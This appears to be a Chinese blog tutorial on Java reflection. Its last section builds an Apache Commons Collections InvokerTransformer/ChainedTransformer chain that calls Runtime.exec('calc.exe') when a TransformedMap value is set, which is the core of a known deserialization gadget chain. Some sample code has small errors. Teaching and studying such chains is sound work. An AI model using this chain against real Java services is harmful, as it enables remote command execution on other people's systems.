目录

什么是反射?

获取.class字节码文件对象

获取该.class字节码文件对象的详细信息

通过反射机制执行函数

反射链


反射机制是java的一个非常重要的机制,一些著名的应用框架都使用了此机制,如struts、spring、hibernate、android app界面等等。

java.lang.Class它是java语法的一个基础类,用于描述一个class对象。在文件系统中,class以文件的形式存在。在运行的JVM中,*.class文件被加载到内存中成为一个对象,该对象的类型就是java.lang.Class。

什么是反射?

在运行状态中,对于任意一个类,都能够获取到这个类的所有属性和方法,对于任意一个对象,都能够调用它的任意一个方法和属性(包括私有的方法和属性),这种动态获取信息以及动态调用对象的方法的功能就称为java语言的反射机制。也就是说,虽然我们获取不到该类的源代码,但是通过该类的.class文件能反射(Reflect)出这些信息。

通俗点讲,通过反射,该类对我们来说是完全透明的,想要获取任何东西都可以。

想要使用反射机制,就必须要先获取到该类的字节码文件对象 .class,java.lang.Class类表示 .class 字节码文件对象。通过字节码文件对象,就能够通过该类中的方法获取到我们想要的所有信息(方法、属性、类名、父类名、实现的所有接口等等),每一个类对应着一个字节码文件也就对应着一个Class类型的对象,也就是字节码文件对象。

获取.class字节码文件对象

获取字节码文件对象的三种方式,有了字节码文件对象才能获得类中所有的信息,我们在使用反射获取信息时,也要考虑使用下面哪种方式获取字节码对象合理,视不同情况而定。

//方法一
Class clazz1 = Class.forName("my.Student");//通过Class类中的静态方法forName,直接获取到一个类的字节码文件对象,此时该类还是源文件阶段,并没有变为字节码文件。包名为 my,类名为 Student
//方法二
Class clazz2 = Student.class; //当类被加载成.class文件时,此时Student.java类变成了Student.class,该类处于字节码阶段
//方法三
Student s=new Student(); //实例化Student对象
Class clazz3 = s.getClass(); //通过该类的实例获取该类的字节码文件对象,该类处于创建对象阶段

获取该.class字节码文件对象的详细信息

当我们得到一个.class字节码文件对象,我们可以得到以下信息:

  • 类名 (含package路径)
  • 函数 (名称,参数类型,返回值)
  • 域 (名称,类型)
  • 实现的接口 (interfaces)

使用 java.lang.reflect.*下的类来实现

import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.text.DateFormat.Field; public class main
public static void main(String[] args) throws Exception{
Object obj=new Student(); //Student实例
Class cls=obj.getClass(); //得到Student字节码对象 //通过函数名和函数参数,得到函数
String methodName="setId"; //函数名字
Class[] par={int.class,String.class}; //函数参数
Method m=cls.getMethod(methodName, par); //返回函数
//调用method
Object[] paramters={123,"haha"}; //传递参数
m.invoke(obj,paramters); //执行函数 cls.getPackage(); //获取包信息
String str=cls.getSimpleName(); //Student ,获得该类的名字,不包含包名
String str2=cls.getName(); //my.Student,获得该类的名字,包含包名
Object obj2=cls.newInstance(); //创建一个实例,要求有一个不带参数的构造函数
int modified=cls.getModifiers(); //获取cls对象的类修饰符
Class[] interfaces=cls.getInterfaces(); //获取实现的接口集合
Constructor[] con=cls.getConstructors(); //获取构造函数的集合
Method[] methods=cls.getMethods(); //获取函数列表
cls.getDeclaredAnnotations(); //获取私有函数(protected和private修饰的)
java.lang.reflect.Field[] fields=cls.getFields(); //获取成员变量列表
cls.getDeclaredField(str2); //获取私有变量(protected和private修饰的)
}
}

通过反射机制执行函数

如下,下面的代码中我们利用JAVA 的反射机制来调用计算器。我们利用了Java的反射机制把我们的代码意图都利用字符串的形式进行体现,使得原本应该是字符串的属性,变成了代码执行的逻辑。

import java.lang.reflect.InvocationTargetException;
public class main3 {
public static void main(String[] args) throws IllegalAccessException, IllegalArgumentException, InvocationTargetException, NoSuchMethodException, SecurityException, ClassNotFoundException {
Object runtime=Class.forName("java.lang.Runtime").getMethod("getRuntime",new Class[]{}).invoke(null); //得到Runtime.getRuntime()函数
Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(runtime,"calc.exe"); //执行函数
}
}

运行代码,可以看到,执行了 calc.exe 的命令

反射链

什么是反射链呢?

我们来查看 org.apache.commons.collections.functors.InvokerTransformer.java 的源代码,这个接口实现了反射链,可以通过Java的反射机制来执行任意命令

public class InvokerTransformer implements Transformer, Serializable {
/*
Input参数为要进行反射的对象,
iMethodName,iParamTypes为调用的方法名称以及该方法的参数类型
iArgs为对应方法的参数
在invokeTransformer这个类的构造函数中我们可以发现,这三个参数均为可控参数
*/
private static final long serialVersionUID = -8653385846894047688L;
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;
public static Transformer getInstance(String methodName) {
if (methodName == null) {
throw new IllegalArgumentException("The method to invoke must not be null");
}
return new InvokerTransformer(methodName);
}
public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
if (methodName == null) {
throw new IllegalArgumentException("The method to invoke must not be null");
}
if (((paramTypes == null) && (args != null))
|| ((paramTypes != null) && (args == null))
|| ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) {
throw new IllegalArgumentException("The parameter types must match the arguments");
}
if (paramTypes == null || paramTypes.length == 0) {
return new InvokerTransformer(methodName);
} else {
paramTypes = (Class[]) paramTypes.clone();
args = (Object[]) args.clone();
return new InvokerTransformer(methodName, paramTypes, args);
}
}
private InvokerTransformer(String methodName) {
super();
iMethodName = methodName;
iParamTypes = null;
iArgs = null;
}
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
private void writeObject(ObjectOutputStream os) throws IOException {
FunctorUtils.checkUnsafeSerialization(InvokerTransformer.class);
os.defaultWriteObject();
}
private void readObject(ObjectInputStream is) throws ClassNotFoundException, IOException {
FunctorUtils.checkUnsafeSerialization(InvokerTransformer.class);
is.defaultReadObject();
}
}

然后,我们去实现这个接口,只需要传入方法名、参数类型和参数,即可调用任意函数。在这里,我们可以看到,先用ConstantTransformer() 获取了 Runtime 类,接着通过反射调用 getRuntime 函数,再调用 getRuntime 的 exec() 函数,执行命令。依次调用关系为: Runtime --> getRuntime --> exec()

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer; public class main2 {
public static void main(String[] args) {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class), //获得Runtime.class字节码文件
//通过反射,返回一个对象
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
//ChainedTransformer为链式的Transformer,会挨个执行我们定义Transformer
Transformer transformedChain=new ChainedTransformer(transformers);
Map innerMap=new HashMap();
innerMap.put("value","value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain);
Map.Entry entry=(Entry)outerMap.entrySet().iterator().next();
entry.setValue("test"); //修改值,触发执行
}
}

可以看到,当Map中的Value值被修改了,触发执行了Transformer的transform()方法,通过反射链调用了Runtime.getRuntime.exec("calc.exe") 命令

Java中的反射机制Reflection的更多相关文章

  1. 浅说Java中的反射机制(一)

    在学习传智播客李勇老师的JDBC系列时,会出现反射的概念,由于又是第一次见,不免感到陌生.所以再次在博客园找到一篇文章,先记录如下: 引用自java中的反射机制,作者bingoideas.(()为我手 ...

  2. java 中利用反射机制获取和设置实体类的属性值

    摘要: 在java编程中,我们经常不知道传入自己方法中的实体类中到底有哪些方法,或者,我们需要根据用户传入的不同的属性来给对象设置不同的属性值,那么,java自带的反射机制可以很方便的达到这种目的,同 ...

  3. java中的反射机制在Android开发中的用处

    JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法:对于任意一个对象,都能够调用它的任意一个方法和属性:这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反 ...

  4. 浅说Java中的反射机制(二)

    写过一篇Java中的反射机制,不算是写,应该是抄了,因为那是别人写的,这一篇也是别人写的,摘抄如下: 引自于Java基础--反射机制的知识点梳理,作者醉眼识朦胧.(()为我手记) 什么是反射? 正常编 ...

  5. 【Java基础】java中的反射机制与动态代理

    一.java中的反射机制 java反射的官方定义:在运行状态下,可以获取任意一个类的所有属性和方法,并且可通过某类任意一对象实例调用该类的所有方法.这种动态获取类的信息及动态调用类中方法的功能称为ja ...

  6. Java中的反射机制(一)

    基本概念 在Java运行时环境中,对于任意一个类,能否知道这个类有哪些属性和方法?对于任意一个对象,能否调用它的任意一个方法? 答案是肯定的. 这种动态获取类的信息以及动态调用对象的方法的功能来自于J ...

  7. Java 中的反射机制

    JAVA反射机制 JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法:对于任意一个对象,都能够调用它的任意一个方法:这种动态获取的信息以及动态调用对象的方法的功能称为ja ...

  8. 深入理解Java中的反射机制

    JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法:对于任意一个对象,都能够调用它的任意方法和属性:这种动态获取信息以及动态调用对象方法的功能称为java语言的反射机制. ...

  9. Java中的反射机制和动态代理

    一.反射概述 反射机制指的是Java在运行时候有一种自观的能力,能够了解自身的情况为下一步做准备,其想表达的意思就是:在运行状态中,对于任意一个类,都能够获取到这个类的所有属性和方法:对于任意一个对象 ...

随机推荐

  1. 12. Vue搭建本地服务

    一. 搭建本地服务器 本地服务可以提高开发效率. webpack不需要每次都打包, 就可以看到修改后的效果. 本地服务器基于node.js搭建, 内部使用二十express框架. 可以实现让浏览器自动 ...

  2. Asp.Net Core WebAPI中启用XML格式数据支持

    因为XML是一种非常常用的数据格式,所以Asp.Net core提供了非常便利的方式来添加对XML格式的支持 只需要在IOC注册Controller服务的后面跟上.AddXmlDataContract ...

  3. 漏洞复现-CVE-2014-3120-ElasticSearch 命令执行漏洞

        0x00 实验环境 攻击机:Win 10 靶机也可作为攻击机:Ubuntu18 (docker搭建的vulhub靶场) 0x01 影响版本 < ElasticSearch 1.2的版本 ...

  4. CVE-2019-11043-Nginx PHP 远程代码执行

    漏洞原因 Nginx 上 fastcgi_split_path_info 在处理带有 %0a 的请求时,会因为遇到换行符 \n 导致 PATH_INFO 为空.而 php-fpm 在处理 PATH_I ...

  5. 单元测试 - SpringBoot2+Mockito实战

    单元测试 - SpringBoot2+Mockito实战 在真实的开发中,我们通常是使用SpringBoot的,目前SpringBoot是v2.4.x的版本(SpringBoot 2.2.2.RELE ...

  6. SpringBoot源码修炼—系统初始化器

    SpringBoot源码修炼-系统初始化器 传统SSM框架与SpringBoot框架简要对比 SSM搭建流程 缺点: 耗时长 配置文件繁琐 需要找合适版本的jar包 SpringBoot搭建流程 优点 ...

  7. 【odoo14】第五章、服务器侧开发-基础

    本章包含如下内容: 定义模型方法和使用api装饰器 向用户反馈错误信息 针对不同的对象获取空数据集 创建新纪录 更新数据集数据 搜索数据 组合数据集 过滤数据集 遍历记录集 排序数据集 重写已有业务逻 ...

  8. python学习之类的装饰器进阶版

    装饰器可以修饰函数,同样,也可以修饰类 装饰器 def deco(func):    print('======>被修饰的')return func 装饰器装饰函数的方式,语法糖 @decode ...

  9. 一次VLAN标签引发的网络事件的处置

    一次VLAN标签引发的网络事件的处置 一.背景介绍 事件背景: HZ某分公司新装一套业务系统,通过一条专线和BJ总公司连通.分配给HZ公司的ip地址为:a.b.c.X,掩码24位,网关a.b.c.1. ...

  10. 了解PSexec

    PSExec允许用户连接到远程计算机并通过命名管道执行命令.命名管道是通过一个随机命名的二进制文件建立的,该文件被写入远程计算机上的ADMIN $共享,并被SVCManager用来创建新服务. 您可以 ...